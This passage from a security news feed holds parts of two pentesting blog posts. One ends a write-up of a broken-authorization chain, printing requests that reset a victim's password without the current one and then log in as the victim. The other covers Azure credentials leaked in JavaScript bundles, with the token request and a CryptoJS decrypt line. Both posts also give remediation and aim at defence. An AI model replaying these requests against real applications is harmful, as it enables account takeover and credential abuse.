enforced)</li></ul><p>Three independent findings, each of which a triage process would handle separately. The methodology does not let me stop and report yet. Phase 3’s question is not just “did the read work?” It is <em>does the same identifier I just exfiltrated work on a write endpoint?</em></p><p>The catalog listed the answer.</p><pre>PUT /api/profile/password body { id?, currentPassword?, newPassword }</pre><p>Optional id. Optional currentPassword. The shape itself is the bug. There is no execution path where the request both takes an id and requires the current password, because the optional structure does not allow it. The attacker passes the ID and skips the password check entirely.</p><pre>PUT /api/profile/password HTTP/1.1<br>Content-Type: application/json<br> <br>{"id": 2, "newPassword": "pwned!2026"}</pre><pre>Response:<br>{ "message": "Password updated", "userId": "CUST-002" }</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*wgVZqB75N6b3qtZzd2Cx2w.png"><figcaption><strong>BOLA write: password overwritten with no current-password check</strong></figcaption></figure><p>No Authorization. No current-password challenge. Sarah Thompson’s password rewritten by an anonymous request, using only the profile ID enumerated from Phase 2.</p><p>I rated this High in isolation. Broken Object Level Authorization on the write side, sitting on top of broken authentication on the same endpoint. The read side already established that profile IDs are enumerable. The write side converts that enumeration into account-level state changes. This is the moment the chain becomes practical.</p><h3>Phase 4: Exploitation</h3><p><em>Can the chain produce a state change the application’s normal threat model would not detect?</em></p><p>The previous phases each produced a finding. This phase produces an outcome.</p><p>Phase 4 is the only authenticated request in the chain, and the attacker authenticates as the victim.</p><pre>POST /api/login HTTP/1.1<br>Content-Type: application/json<br> <br>{"email":"sarah.thompson@outlook.com","password":"pwned!2026"}</pre><pre>Response:<br>    {<br>     "IsSuccess": true,<br>     "token": "eyJhbGci…Sarah's customer token…",<br>     "role": "customer",<br>     "name": "Sarah Thompson",<br>     "customerId": "CUST-002"<br>    }</pre><p>I am Sarah Thompson now, as far as the application is concerned. The login endpoint cannot tell me apart from her, because the credential store says I am her.</p><p>Looped across the enumerated profile IDs, this is mass account takeover. Every one of the nearly 5000 customer records was reachable from the chain. There is no impersonation, no token forgery, no privilege escalation. The application’s authentication did its job at the login endpoint, but the application’s authentication never ran at the other endpoints, because those endpoints did not require it. Authorization decisions on the object level (should this requester be allowed to act on this specific record) never happened either.</p><p>I stopped after demonstrating impact on a single account. Exploiting the rest of the enumerable population would have served no purpose for the report.</p><p>That is the asymmetry the methodology exposes. Mass takeover by a “legitimate” login does not look like an attack to most monitoring. It looks like a customer changing their password and logging in with the new password, repeatedly. Detection systems built around “unauthorized access” do not fire, because every request to the chain’s anonymous endpoints returned 200, and every login at the end returned a valid token. Nothing in the audit log says “attack.”</p><h3>The Methodology, Extracted</h3><p>Read backwards from the chain that worked, the methodology has four phases.</p><p>1. <strong>Information Gathering.</strong> <em>What does the application teach me, that I shouldn’t have learned, just by being here?</em></p><p>2. <strong>Vulnerability Analysis.</strong> <em>Which inputs identify objects, and which of those are not bound to my session?</em></p><p>3. <strong>Attack Execution.</strong> <em>Does the same identifier I just exfiltrated work on a write endpoint? And was authentication required at all?</em></p><p>4. <strong>Exploitation.</strong> <em>Can the chain produce a state change the application’s normal threat model would not detect?</em></p><p>Each phase carries a severity rating taken in isolation. None is Critical. The combination is.</p><p>When the four phases are complete, the chain documents into a single table that forces clarity about three things every chain has but reports often muddle. What the attacker learned at this step, what they could do with it, and what the next step needed as input.</p><blockquote>Toxic Vulnerability Combinations: A Pentester’s Methodology in Four Phases</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*xjWpfUP6ckRUTxZ1qa0A-g.png"></figure><p>Three things the table makes explicit that a typical pentest report does not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEO9H6tWCbm4iT-P1rrdWg.png"></figure><p><strong>The “Available info” row tracks what the attacker carries forward.</strong> Each column’s available info is the input needed for the next column. Phase 2 needed the API catalog and the admin hint from Phase 1. Phase 3 needed the profile IDs from Phase 2. Phase 4 needed the rewritten passwords from Phase 3. If the table has a column where “Available info” cannot be reused as input to the next column, the chain breaks. If it can, the chain holds.</p><p><strong>The “Auth required” row records what the application demanded at each step.</strong> Three of the four phases, including the one that exfiltrated credential material and the one that rewrote passwords, demanded nothing. That single row is the structural failure the entire chain rests on.</p><p><strong>The “Methodology question” row is the teaching artifact.</strong> When a junior pentester reviews the table, the questions are reusable. The next time they hunt a chain, they ask the same four questions of a different application. The answers will be different. The methodology will be the same.</p><h3>Remediation</h3><p>The chain in this post worked because three different layers of defense were missing. Authentication, object-level authorization, and information-disclosure controls. Closing the chain means closing all three. Here is the layered fix, ordered by structural importance.</p><h3>1. Authentication and Authorization</h3><p>These are the load-bearing fixes. Everything else is detection on top of a broken foundation.</p><ul><li><strong>Require authentication on every endpoint that returns account-scoped data.</strong> GET /api/profile, GET /api/profile/password, POST /api/account/info, and PUT /api/profile/password all need a valid session token. Endpoints accept anonymous calls because the developer assumed they would only be called from “trusted internal contexts.” There is no trusted internal context for an HTTP endpoint published on the public internet.</li><li><strong>Implement Role-Based Access Control (RBAC) at the route layer.</strong> Admin endpoints check role === ‘admin’ in middleware before the handler runs. Comments like // admin only in source code are not access control. The check has to be in code that executes on every request.</li><li><strong>Implement object-level authorization (BOLA prevention).</strong> Every endpoint that takes an identifier in input verifies the requester owns the resource. The pattern is if (resource.ownerId !== session.userId) return 403. Apply this at the database query layer when possible. SELECT * FROM profiles WHERE id = ? AND owner_id = ? removes the possibility of forgetting the ownership check in handler code.</li><li><strong>Require the current password on self-service password changes.</strong> Not optional. The optional id or currentPassword shape on PUT /api/profile/password was the write-side bug. Endpoint signatures should have exactly one execution path. If a function needs two paths, split it into two functions.</li><li><strong>Do not return credential material in API responses.</strong> The legacy reset-lookup endpoint that returned hash and salt should not exist. Password reset flows are token-based and never expose hashes to any client. If a legacy SOAP or JSON wrapper produced this response shape, the fix is to delete the wrapper or rewrite it to return only what the reset flow actually needs.</li></ul><h3>2. Information Disclosure</h3><p>These close the channels Phase 1 and Phase 2 used to seed the chain.</p><ul><li><strong>Generic error responses on the login endpoint.</strong> The verbose IsSuccess: false shape that disclosed email, name, profile ID, and role for any registered email is a user-enumeration oracle. Login failures should return { IsSuccess: false, error: ‘Invalid credentials’ } for every failure case (wrong password, nonexistent email, locked account, expired account) with consistent timing.</li><li><strong>Strip developer artifacts from production bundles.</strong> The API catalog and TODO comment that powered Phase 1 of this chain should not have been in app.js. Webpack’s TerserPlugin removes comments when comments: false is set in production builds. Inline JSDoc annotations on internal routes belong in source files, not built artifacts.</li><li><strong>Audit preload chains.</strong> The &lt;link rel=”preload” as=”script” href=”/js/app.js”&gt; tag shipped the post-login dashboard’s bundle to every visitor of the login page. Route-based code splitting can prevent this. app.js should be lazy-loaded after authentication, not preloaded eagerly.</li><li><strong>Remove seed and test accounts before production deployment.</strong> The QA seed account qa.test@acme-portal.local should not have shipped to production. CI/CD pipelines should fail builds if seed-only email patterns appear in the database migration set targeted at a production environment.</li></ul><h3>3. Operational Layer</h3><p>Detection that catches the chain even when prevention fails.</p><ul><li><strong>Rate limit the login endpoint by IP and by email address.</strong> Enumeration probing requires many requests against /api/login in a short window. Rate limits slow this enough that it becomes detectable before the attacker completes the enumeration.</li><li><strong>Monitor for the chain’s operational signature.</strong> High-volume password resets followed by successful logins from the same IP, across multiple accounts, is the fingerprint of this attack. Detection should fire on the rate and the across-account pattern, not on any single request.</li><li><strong>Anomaly detection on BOLA writes.</strong> Legitimate users change their own passwords occasionally. A single client changing many accounts’ passwords in a short window is anomalous and should fire. And should fire <em>before</em> the chain reaches Phase 4.</li></ul><h3>Takeaways</h3><p>Automated tooling is good at finding individual classes of vulnerability and bad at finding sequences. A finding has a severity, a remediation, and a report entry. A chain has none of those. The taxonomy our tooling was built around was designed for bugs, not for combinations of bugs. That is why three findings rated Low, Medium, and High can sit unremarkably in a triage backlog while the chain they compose is Critical. The tooling is necessary. It is not sufficient. The methodology is what closes the gap.</p><p>What that means for the people doing the work:</p><ul><li><strong>Pentesters and bug bounty researchers.</strong> Apply the four questions in sequence. When you find an IDOR, do not stop at the IDOR. Phase 2’s output is the input to Phase 3. Look at the next write endpoint that accepts the same identifier type. And test every endpoint without an Authorization header at least once. Missing-auth on the read side is one of the most common ways a chain that should have required a token becomes anonymously exploitable.</li><li><strong>Code reviewers.</strong> Ask two questions of every endpoint that takes an identifier in input. <em>“Does this endpoint require authentication?”</em> and <em>“What happens if a user passes someone else’s id here?”</em> Apply both to every endpoint, not just the ones that “look” sensitive. That pair of questions, applied consistently, turns chained authorization bugs into single-endpoint authorization bugs that tooling can find before the chain forms.</li><li><strong>Triage teams.</strong> Read the chain as a unit, not the findings as separate items. A verbose error, an unauthenticated IDOR on a read endpoint, and a missing current-password check on a write endpoint are not three unrelated tickets. They are three halves of one chain that need to be closed in the same release.</li><li><strong>Developers.</strong> Every parameter that names an object the requester might not own is an authorization decision waiting to happen. Every endpoint without an authentication middleware is an authorization decision the application has already refused to make. If your endpoint signature has an optional id parameter alongside an optional currentPassword parameter, you have written two execution paths into one function and one of them is going to skip a check it shouldn’t skip.</li></ul><p>The chain is a category of vulnerability that does not exist on a scanner’s findings list and never will. Until our tools understand sequences, the work belongs to the practitioners who already do. The methodology in this post is one way to write that work down. Four questions a junior pentester can apply to a different application tomorrow morning, with the same instinct it used to take a senior reviewer ten years to build.</p><h3>Author</h3><p><strong>Hemanth Gorijala</strong> is an application security practitioner. He builds open-source security tooling, conducts web application assessments, and reviews vulnerability reports in enterprise bug bounty programs. His open-source tooling for runtime credential detection, <em>SecretSifter</em>, is at <a href="https://github.com/secretsifter">github.com/secretsifter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=993cd63ba2cf" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/a-pentesters-methodology-for-toxic-vulnerability-combinations-993cd63ba2cf">A Pentester’s Methodology for Toxic Vulnerability Combinations</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Secrets That Survive Everything]]></title>
<description><![CDATA[The Runtime Security Gap Left UnguardedYears of shift-left investment, and a hardcoded key still survives to production.By Hemanth GorijalaThe Finding That Changed How I Think About SecretsDuring a security assessment, I found credentials sitting in a client-side JavaScript bundle, visible to eve...]]></description>
<link>https://tsecurity.de/de/3528501/hacking/secrets-that-survive-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528501/hacking/secrets-that-survive-everything/</guid>
<pubDate>Tue, 19 May 2026 11:23:47 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Runtime Security Gap Left Unguarded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whEbgBAavVsPWPWnrz0PyA.png"></figure><p><em>Years of shift-left investment, and a hardcoded key still survives to production.</em></p><p><em>By Hemanth Gorijala</em></p><h3>The Finding That Changed How I Think About Secrets</h3><p>During a security assessment, I found credentials sitting in a client-side JavaScript bundle, visible to every visitor who opened DevTools.</p><p>Real Azure credentials, and I started asking: <em>what could be done with them?</em></p><p>That question led to a full account takeover chain built from four values sitting in a JavaScript file the application was already serving to every visitor. The affected organization had static secret scanning on pull requests and repository scanning across their codebase. None of it had flagged the credentials, because none of it scans what an application serves. Only what developers commit.</p><p>The same pattern appeared in a second application later in the same engagement, with a different codebase and a different team, and it ended in the same outcome.</p><h3>Responsible Disclosure</h3><p>Both findings described in this post were identified and further investigated during authorized security assessments. Findings were reported immediately to the affected organization, remediated, and verified through retest before this publication. No user data was accessed beyond what was necessary to confirm exploitability.</p><p>The screenshots in this post come from <strong>InsecureShield</strong>, a controlled demo application built for security demonstrations. All credentials shown are synthetic and have been auth-tested as non-functional against their real providers. The patterns illustrated are reproduced from real engagements. The data shown is not.</p><h3>From Finding to Full Access on Azure AD + APIM</h3><p>Azure API Management (APIM) is a gateway service that sits in front of backend APIs and enforces access through two separate credential types: Azure AD bearer tokens (JWTs issued by the identity provider) and APIM subscription keys (gateway-specific pass keys scoped to API products). Both are required to reach protected endpoints. A typical Azure-native single-page application authenticates a user via Azure AD, receives a token, and then calls the backend API through the APIM gateway sending both the bearer token and the subscription key on every request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SXddypVrGIUb7dUviytTBQ.png"><figcaption><strong>Azure AD + APIM Request Flow</strong></figcaption></figure><p><em>Azure AD + APIM request flow. Two-credential gateway: Bearer token plus subscription key on every request.</em></p><p>The exposed credentials were not just an API key. Sitting in the client-side JavaScript bundle of a production application, Azure AD authenticated, protected by APIM, serving real users, were four values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*1RDkbyevAZnvyjOXsRvyAw.png"><figcaption><strong>The Azure credential set. Two of the four should never be in the browser.</strong></figcaption></figure><p>The AppID is legitimately public in OAuth2 public client flows. The AppKey is not. It is the client secret for a confidential client flow, designed for server-to-server authentication where the application code is not visible to end users. Client secrets are architecturally valid for server-side web applications. The problem is not that the secret exists. It is that it appeared in browser-accessible JavaScript, where it is visible to every visitor who opens developer tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*-9kLDhcUUIuk6C--5wJ5wQ.png"><figcaption>View-source: main.js secrets</figcaption></figure><p><em>Build-pipeline-generated /js/main.js on a controlled demo target. APIM subscription key, internal service endpoints, and a service-account key all visible to any visitor.</em></p><p>Together, these four values are everything needed to authenticate as the application itself. The tenant ID, required to call the token endpoint, was visible in the application’s login redirect URL, hardcoded alongside the other values in the same bundle. The tenant ID is a public identifier and is not counted among the four credential values, since its availability to any visitor is assumed.</p><p>I called the Azure AD token endpoint:</p><pre>POST https://login.microsoftonline.com/{tenant_id}/oauth2/token<br> <br>grant_type=client_credentials<br>client_id={AppID}<br>client_secret={AppKey}<br>resource={Resource}</pre><p>It returned a fully authenticated Bearer access token. (The v1 endpoint format is shown. The v2 endpoint uses /oauth2/v2.0/token with a scope parameter in place of resource. Both remain in active use across enterprise Azure environments.)</p><p>I then read the JavaScript bundle carefully. Not just scanning for secrets, but reading it as a map of how the application was built. Buried in the minified code were API endpoint definitions. GET and POST endpoints with their complete schema structures showing exactly which parameters each endpoint expected. The frontend had documented its own backend.</p><p>Using the Bearer token and APIM subscription key together:</p><pre>Authorization: Bearer {token}<br>Ocp-Apim-Subscription-Key: {SubscriptionKey}</pre><p>I reconstructed and called the endpoints from the schemas. User profile data returned immediately. Then I found an account management endpoint, same token, same subscription key, same reconstructed schema. I reported the finding at this point and did not proceed further.</p><p>One APIM subscription key typically maps to a product containing multiple APIs.</p><pre>SubscriptionKey  -&gt;  APIM Product "Internal APIs"<br>                       |-- /users/*<br>                       |-- /payments/*<br>                       |-- /admin/*<br>                       `-- /reports/*</pre><p>One exposed subscription key grants access to every API in that product. The scope of exposure is determined by how the APIM product is configured, a detail that is not visible from the client side and must be assessed in the APIM portal.</p><p>The exposed credentials alone constitute a significant finding regardless of what they unlock. A client secret in a public JavaScript file means any visitor can authenticate as the application. The blast radius depends entirely on what permissions that application has been granted.</p><p>In this case, the amplifying factor was the scope condition. Azure AD grants come in two flavors: <strong>application permissions</strong> (the token acts as the application itself, an autonomous identity with no signed-in user) and <strong>delegated permissions</strong> (the token acts on behalf of a specific signed-in user, scoped to what that user can do). The application here had been granted application permissions where delegated permissions would have been appropriate and sufficient. The application’s client identity had been given the ability to perform user-level operations across every account in the system. Without that misconfiguration, the Bearer token would have had limited reach. With it, the token was effectively an admin key to every user account in the system.</p><blockquote><strong>Full account takeover. From four values in a JavaScript file visible to every visitor of the application.</strong></blockquote><p>This was not a sophisticated attack. No exploit framework was needed. The chain came from reading the JavaScript file the application was already serving to everyone, and understanding what the credentials unlocked.</p><h3>The CryptoJS Locked Box With the Key Taped On</h3><p>A different application from the same engagement, a different codebase, and the same Azure AD credential pattern waiting at the end.</p><p>The frontend JavaScript contained a CryptoJS-encrypted configuration blob, a common pattern in single-page applications where configuration is bundled into the frontend and obfuscated using a client-side encryption library. The intent is that the configuration is protected because it is encrypted.</p><p>Client-side encryption can never protect a secret from the client. If the browser needs to decrypt the configuration, the decryption key has to be present in the browser. Anyone who opens DevTools has the same access.</p><p>The decryption key was hardcoded in the same JavaScript file, three lines away from the encrypted blob.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*bSgayWeNkEFXpsWoYy3-dw.png"><figcaption><em>View-source: main.js (CryptoJS blob and key)</em></figcaption></figure><p><em>The ciphertext, the key, and the call that joins them, all in the same file a few lines apart. Open the browser console, paste the three pieces, and the configuration object falls out in plaintext in under a minute.</em></p><p>The decrypt itself is a single line, run in the browser’s developer console using the same CryptoJS library the application ships.</p><pre>CryptoJS.AES.decrypt(encryptedConfig, hardcodedKey).toString(CryptoJS.enc.Utf8)</pre><p>What came out was a complete configuration object. The Azure AD client credentials for that application’s service principal (AppID, AppKey, Resource), the APIM subscription key, internal service endpoints the app talks to, third-party service keys, and the connection strings the build pipeline had wrapped. Everything the application needed at runtime, returned in plaintext to anyone who opened devtools. The encryption had provided exactly zero protection. The secret to unlock everything was sitting next to the lock.</p><p>The decrypted object contained the same pattern. AppID, AppKey, Resource, and Azure AD client credentials embedded in what developers believed was a secured configuration. As with the first finding, the service principal had been granted over-permissive scopes, allowing an application-level token to perform user-level data access operations.</p><p>I called the same Azure AD token endpoint with the decrypted credentials. A Bearer token came back. I read the bundle for endpoint definitions, the same pattern as before, schemas embedded in the minified code. Authenticated GET calls returned full user profile data such as names, email addresses, and account details, for any user in the application. I reported the finding and stopped.</p><p>The CryptoJS-encrypted configuration pattern is particularly dangerous because it creates a false sense of security. Developers implement it believing the configuration is protected. Security teams see encryption and move on. The decryption key sitting next to the ciphertext makes the entire construct meaningless, but only if you read the whole file rather than scan it for plaintext secrets.</p><h3>The Pattern Repeats</h3><p>After the second chain, I started wondering how many other applications in the same engagement had the same problem. The answer wasn’t reassuring.</p><p>The same construct recurred across multiple unrelated codebases: build-time injection of Azure AD client_credentials, CryptoJS-encrypted configuration with the decryption key three lines from the ciphertext, and plaintext credentials sitting directly in client-side JavaScript. Different teams, different stacks within the same organizational portfolio, all converging on the same outcome.</p><p>The credentials were recoverable from successful page responses and from a small number of error responses, including geo-restricted and authentication-required pages. The single-page application bundle loads its full configuration regardless of session state. Even when the application refuses to authenticate you, the JavaScript shell still loads with the credentials baked in.</p><p>Every one of these applications was deployed by an organization running automated secret scanning in CI/CD and SAST on every pull request. The credentials were still live in production.</p><p>These were not two isolated mistakes. They reflect how single-page applications routinely reach production at enterprise scale.</p><h3>The Path Shift-Left Never Sees</h3><p>After the second chain, the question I kept coming back to was how the credentials got there in the first place.</p><p>In each case, this was not negligence. These were mature, well-built applications with authentication layers, gateway controls, structured API design. Organizations that build this way have shift-left tooling. The secrets got through anyway.</p><p>The shift-left tools had done their job. The secrets found a path they weren’t watching, introduced through a build process, an environment injection, a third-party dependency update, or a deployment step that happened outside the scanned path. One common example involves REACT_APP_* environment variables bundled at build time via webpack’s DefinePlugin, live keys baked into the JavaScript bundle, never touching the repository, invisible to every pre-commit scanner. Another is CI/CD pipeline variable substitution. A placeholder like #{APIM_SUB_KEY}# lives in the repository while the real value is injected by the deployment pipeline at build time. The secret never exists in git. It materializes only in the build artifact, after every scanner has already run.</p><pre>Source code (.ts, config files). ← Shift-left scans HERE<br><br>                          ↓ [pipeline variable substitution / build]<br><br>dist/main.abc123.js (minified) ← Secret exists HERE - never scanned<br><br>                          ↓ [deploy to CDN]<br><br>Live app at https://app.example.com ← Secret is live HERE - DAST ignores it<br><br>                          ↓ [browser fetches config.json]<br><br>Runtime-fetched config ← Secret fetched HERE - invisible to everything</pre><blockquote><strong>Shift-left tools scan what you commit. They do not scan what you serve.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*IPoNQsuES19CvXPSmg1vMQ.png"><figcaption><em>View-source: env.js runtime config</em></figcaption></figure><p>A second path compounds the structural one. Many SPA architectures require certain credentials in the browser to function: a Google Maps API key to render maps, a Firebase configuration to authenticate users, a Stripe publishable key to initialize the payment SDK. These keys cannot be removed without breaking the application. When shift-left scanners encounter them in source files or CI/CD configuration, the build fails and the pull request is blocked. Developers facing this friction do not remove the key. They suppress the scanner in one of these ways:</p><ul><li>Adding files or directories to the scanner’s ignore list or allowlist</li><li>Excluding configuration directories or environment files from the scan scope</li><li>Dismissing alerts as “false positive” or “used in tests”</li><li>Adding inline suppression comments to affected lines</li><li>Allowlisting the specific secret pattern in the SAST ruleset</li></ul><p>The suppression is deliberate and made under pipeline pressure. Once in place, the same credential reaches every subsequent deployment without detection because the scanner has been explicitly configured to stop observing it.</p><h3>The Shift-Right Gap</h3><p>The industry has spent years building the left side of this picture. The right side is almost empty.</p><p><strong>Shift-left, pre-production</strong></p><ul><li>Secret scanning is mature, well-funded, and widely deployed. GitLeaks, TruffleHog, detect-secrets, and GitHub Advanced Security cover this layer.</li><li>SAST is well covered by Semgrep, SonarQube, and Checkmarx.</li><li>SCA is well covered by Snyk and Dependabot.</li></ul><p><strong>Shift-right, production runtime</strong></p><ul><li>DAST tools are built as web application scanners, designed to find injection vulnerabilities, authentication flaws, and misconfigurations, not hardcoded credentials in served responses.</li><li>Runtime secret scanning has limited purpose-built tooling.</li></ul><p>This is not a criticism of DAST tools. They solve a different problem. Azure AD credentials hardcoded in a minified webpack bundle do not look like an injection vulnerability. They do not trigger an XSS finding. They do not appear in a DAST report. They are invisible to the entire shift-right tooling category because that category was never designed to find them.</p><p>Once a secret evades shift-left controls and reaches production, it disappears from every scanner’s view.</p><p>Today, only three sources find these credentials at all.</p><ul><li>A manual penetration tester who reads JavaScript carefully</li><li>A security researcher or bug bounty hunter</li><li>An attacker</li></ul><p>Two of those three report what they find. One does not.</p><h3>The Attack Surface Existing Tools Miss</h3><p>To understand why DAST stays silent, it helps to see exactly what it is not looking at. The available tooling doesn’t cover the actual attack surface of a modern web application:</p><ul><li><strong>Single-page applications</strong> built with React, Vue, or Angular where the entire application is a minified webpack bundle split across dozens of chunk files</li><li><strong>Encrypted configuration objects</strong> where a client-side encryption library decrypts a configuration blob using a key hardcoded in the same file — the decryption key sitting next to the ciphertext makes the encryption meaningless, and the complete credential set is one step away from exposure</li><li><strong>HTML view-source scanning</strong> for SSR state blobs — the __NEXT_DATA__ or window.__INITIAL_STATE__ objects injected into HTML by Next.js and Nuxt that regularly contain tokens and internal configuration</li><li><strong>JSON API responses</strong> that return credentials in fields never meant to be client-facing</li><li><strong>XML responses</strong> from enterprise services carrying connection strings and service credentials</li><li><strong>Request headers</strong> on every outbound API call carrying subscription keys and bearer tokens in plaintext</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*-OOmcAJchP5SfKZWZCXOuA.png"><figcaption><em>View-source: firebase.js service account</em></figcaption></figure><p>And critically, none of them have noise suppression adequate for real-world use. A tool that generates hundreds of false positives per scan is a tool that gets disabled. Noise suppression decides whether findings get acted on or ignored.</p><p>Scanning build artifacts in CI/CD before deployment closes part of this gap. It catches secrets that pipeline variable substitution baked in before they reach production. But it does not cover runtime-fetched configurations that applications load after deployment, lazy-loaded chunks served dynamically from CDN, or credentials embedded in third-party scripts that never touch your build pipeline. Artifact scanning is a useful layer. It is not the runtime layer.</p><h3>The Bigger Picture</h3><p>The shift-left investment the industry has made is real, justified, and valuable. Catching secrets before deployment is always better than catching them after.</p><p>But secrets are still reaching production. They evade controls not because the tools are bad, but because the path from development to deployment has more branches than any single scanning layer can cover. And once a secret reaches the runtime layer, today’s tooling goes silent.</p><p>Millions of dollars invested in shift-left scanning. No purpose-built, production-grade tooling on the shift-right side.</p><p>Two independent studies confirm this at internet scale.</p><p>In December 2025, Intruder published research scanning approximately 5 million applications and identifying around 42,000 exposed tokens. That work establishes population prevalence at internet scale and confirms that standard DAST and infrastructure scanners do not cover this surface.</p><p>In early 2026, Demir et al. published “Keys on Doormats” on arXiv, an academic measurement study that crawled 10 million pages across the public web and extracted 1,748 distinct credentials. 84 percent of the recovered credentials were embedded in JavaScript. The median credential persisted in the wild for 12 months. The study covered 14 cloud and SaaS providers. Different methodology, same conclusion. The runtime layer is unscanned at internet scale, and credentials persist long enough to be found and abused.</p><p>The chains in this post show what those credentials unlock once an attacker reads them. These patterns appear in production applications serving real users today. Both targets had secret scanning enabled. Neither had runtime coverage.</p><p>Attackers already know this. Most security teams don’t have an answer for it yet.</p><h3>What You Can Check Today</h3><p>For security teams, the immediate check is simple. Open DevTools on your own production application, go to the Network tab, and read what is being served. Look at the JavaScript bundle source, the API response payloads, and the request headers. Look specifically for patterns like client_id, client_secret, AppKey, SubscriptionKey, apiKey, or any high-entropy string in a configuration object. No tooling required. What you find in ten minutes is what an attacker finds in ten minutes.</p><p>If your organization runs Angular or React SPAs that talk to Azure AD plus APIM, the ten-minute DevTools check is the highest-value security review you can do this week.</p><h3>Why Existing Tools Don’t Close the Gap</h3><p>The runtime-scanning category is not empty. A skeptical reader at this point should be asking what existing tools already cover this surface and what they don’t.</p><p><strong>Repo and file scanners</strong> like GitLeaks, detect-secrets, and GitHub Advanced Security are mature and well-deployed. They scan what is in source control. They do not scan what the application serves at runtime.</p><p><strong>TruffleHog</strong> sits in its own category. It scans repos and filesystems, accepts URL lists through its HTTP source, and verifies whether discovered credentials are live, which most scanners don’t do. Pointed at downloaded JavaScript bundles or URL lists, it works well within those inputs. What it does not do is treat the live application as a black box, capturing whatever the application serves as it runs. The dynamically loaded chunks, JSON and XML response bodies, and request headers that appear during real execution stay outside the URL-list input.</p><p><strong>Active crawlers</strong> like Cariddi, SecretFinder, LinkFinder, and jsleak fetch JavaScript files and run regex matches over the content. They are useful for the public surface of an application. They are static fetchers. They do not observe the application as it actually runs, and they do not capture API response bodies, request headers, or lazy-loaded chunks that materialize only during real execution.</p><p><strong>Template scanners</strong> like Nuclei with community secret-leak templates hit specific URLs and regex-match responses. They depend on knowing the URLs in advance and on someone maintaining the templates. They are not passive observers of whatever the application serves.</p><p><strong>DAST scanners</strong> like OWASP ZAP, Burp Scanner, and commercial equivalents look for injection vulnerabilities, authentication flaws, and misconfigurations. They were not built to find hardcoded credentials in served responses, and they don’t.</p><p>Each category solves a piece of the problem. What none of them do is the combination that runtime credential exposure actually requires. Four properties have to be present together.</p><ul><li><strong>Black-box operation.</strong> No source code, no API documentation, no prior knowledge of the application. The tool sees what an external attacker sees.</li><li><strong>Observe runtime traffic.</strong> JS bundles, JSON and XML response bodies, request headers, HTML SSR state blobs, and dynamically loaded chunks. Whatever the application actually serves as it runs.</li><li><strong>Detect encrypted-blob constructs.</strong> CryptoJS-style decryption keys hardcoded next to the ciphertext. A plaintext-only scanner walks right past these.</li><li><strong>Aggressive noise suppression.</strong> Runtime traffic is full of UUIDs, cache busters, and high-entropy strings that aren’t credentials. A tool that generates hundreds of false positives per scan is a tool that gets disabled within a week.</li></ul><p>Without all four together, the tool either misses what the application actually serves, or generates so much noise it gets turned off.</p><h3>Four Layers of Defense</h3><p>The disclosures and the research that followed point to the same hole in the stack. Secrets that reach production are not being scanned at the runtime layer. Closing this gap is not a single fix. It is a four-layer defense, two layers of prevention followed by two layers of detection.</p><h4><strong>Prevention:</strong></h4><p><strong>[1] Backend for Frontend (BFF).</strong> The structural fix. The credential never enters the browser. The frontend sends only a session cookie to a BFF server, the BFF fetches the credential from a vault at runtime, and the BFF calls upstream APIs on behalf of the user. If a credential never leaves the server, it cannot leak from the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yvzNEfxbuRd5ZfPrT66wA.png"><figcaption><em>Current architecture vs. BFF pattern</em></figcaption></figure><p>BFF is the right destination, but it is not a same-day change. The frontend uses those credentials today to talk to backends. Removing them outright breaks the application. A real migration to BFF means standing up a server-side proxy, re-routing every API call from the SPA through it, replacing bearer-token authentication in the browser with session cookies, and reworking CORS, CSRF, and any WebSocket or server-sent-event paths the application currently uses. For a non-trivial SPA, that is a multi-quarter project that cuts across frontend, backend, identity, and infrastructure teams. During that migration, the credential remains in the browser. Detection layers below carry the load until the structural fix lands.</p><p><strong>[2] Secrets manager and short-lived tokens.</strong> Azure Key Vault, AWS Secrets Manager, HashiCorp Vault. The BFF reads the credential at runtime, mints short-lived scope-limited tokens for downstream calls, and never embeds long-lived secrets anywhere a client can reach. A short-lived token leaked from a browser still leaks, but the blast radius is bounded by the token’s expiry and scope rather than by the lifespan of a hardcoded client secret.</p><h4><strong>Detection:</strong></h4><p><strong>[3] Artifact scanning between build and deploy.</strong> A CI/CD job that scans dist/ output after the bundler runs but before the artifact ships. Catches credentials that build-time injection inlines into the bundle and never touches the repository. Most pipelines have stage-1 source scanning but stop short of stage-2 artifact scanning. Adding it is a CI/CD job, not a project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hcnf5azzxHO8ML-sianW6A.png"><figcaption><em>CI/CD pipeline with artifact-scan stage</em></figcaption></figure><p><strong>[4] Runtime secret scanning.</strong> Passive observation of served traffic. The only layer that catches lazy-loaded chunks, SSR state, runtime-fetched config, and credentials in response headers. These materialize only during execution and cannot be predicted from static source files.</p><p>Layers 1 and 2 remove the credential from the surface. Layers 3 and 4 catch what slips through. Start all four at once rather than waiting for prevention to land first: Layers 3 and 4 can ship in days, Layer 2 in weeks, and Layer 1 in quarters. The detection layers are what protect you while the prevention layers are being built. Most organizations today run Layer 1 partially, skip Layers 2 and 3 entirely, and have no answer for Layer 4.</p><h3>Closing the Runtime Gap</h3><p>I’m continuing the work on the layer-4 side with <strong>SecretSifter</strong>, an open-source passive runtime secret scanner that reads HTTP traffic for the credentials shift-left tools cannot see. It ships as a Burp Suite extension, a browser extension, and a desktop application.</p><figure><img alt="" 